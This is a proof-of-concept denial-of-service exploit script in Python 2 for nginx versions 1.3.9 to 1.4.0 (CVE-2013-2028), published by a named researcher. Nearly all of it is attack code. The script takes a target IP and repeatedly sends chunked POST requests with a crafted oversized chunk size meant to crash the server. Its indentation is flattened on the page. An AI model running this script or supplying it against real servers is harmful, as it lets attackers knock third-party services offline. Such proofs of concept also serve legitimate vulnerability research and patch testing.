Nginx 1.3.9 / 1.4.0 Denial Of Service

`# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)  
# Date: 16.05.2013  
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com  
# Vendor Homepage: http://nginx.org/  
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz  
# Version: 1.3.9-1.4.0  
# Tested on: Kali Linux & Windows XP (nginx v1.4.0)  
# CVE : CVE-2013-2028  
  
import httplib  
import time  
import socket  
import sys  
import os  
  
# Vars & Defs  
debug = 0  
dos_packet = 0xFFFFFFFFFFFFFFEC  
socket.setdefaulttimeout(1)  
  
packet = 0  
  
def chunk(data, chunk_size):  
chunked = ""  
chunked += "%s\r\n" % (chunk_size)  
chunked += "%s\r\n" % (data)  
chunked += "0\r\n\r\n"  
return chunked  
  
if sys.platform == 'linux-i386' or sys.platform == 'linux2':  
os.system("clear")  
elif sys.platform == 'win32':  
os.system("cls")  
else:  
os.system("cls")  
  
print "======================================================================"  
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"  
print "======================================================================"  
  
if len(sys.argv) < 2:  
print "Usage: python nginx_dos.py [target ip]\n"  
print "Example: python nginx_dos.py 127.0.0.1\n"  
sys.exit(1)  
else:  
host = sys.argv[1].lower()  
  
while packet <= 5:  
  
body = "Mert SARICA"  
chunk_size = hex(dos_packet + 1)[3:]  
chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()  
  
if debug:  
print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]  
  
try:  
con = httplib.HTTPConnection(host)  
url = "/mertsarica.php"  
con.putrequest('POST', url)  
con.putheader('User-Agent', "curl/7.30.0")  
con.putheader('Accept', "*/*")  
con.putheader('Transfer-Encoding', 'chunked')  
con.putheader('Content-Type', "application/x-www-form-urlencoded")  
con.endheaders()  
con.send(chunk(body, chunk_size[:len(chunk_size)]))  
except:  
print "Connection error!"  
sys.exit(1)  
  
try:  
resp = con.getresponse()  
print(resp.status, resp.reason)  
except:  
print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"  
  
packet = packet + 1  
  
con.close()  
  
print "[+] Done!"  
`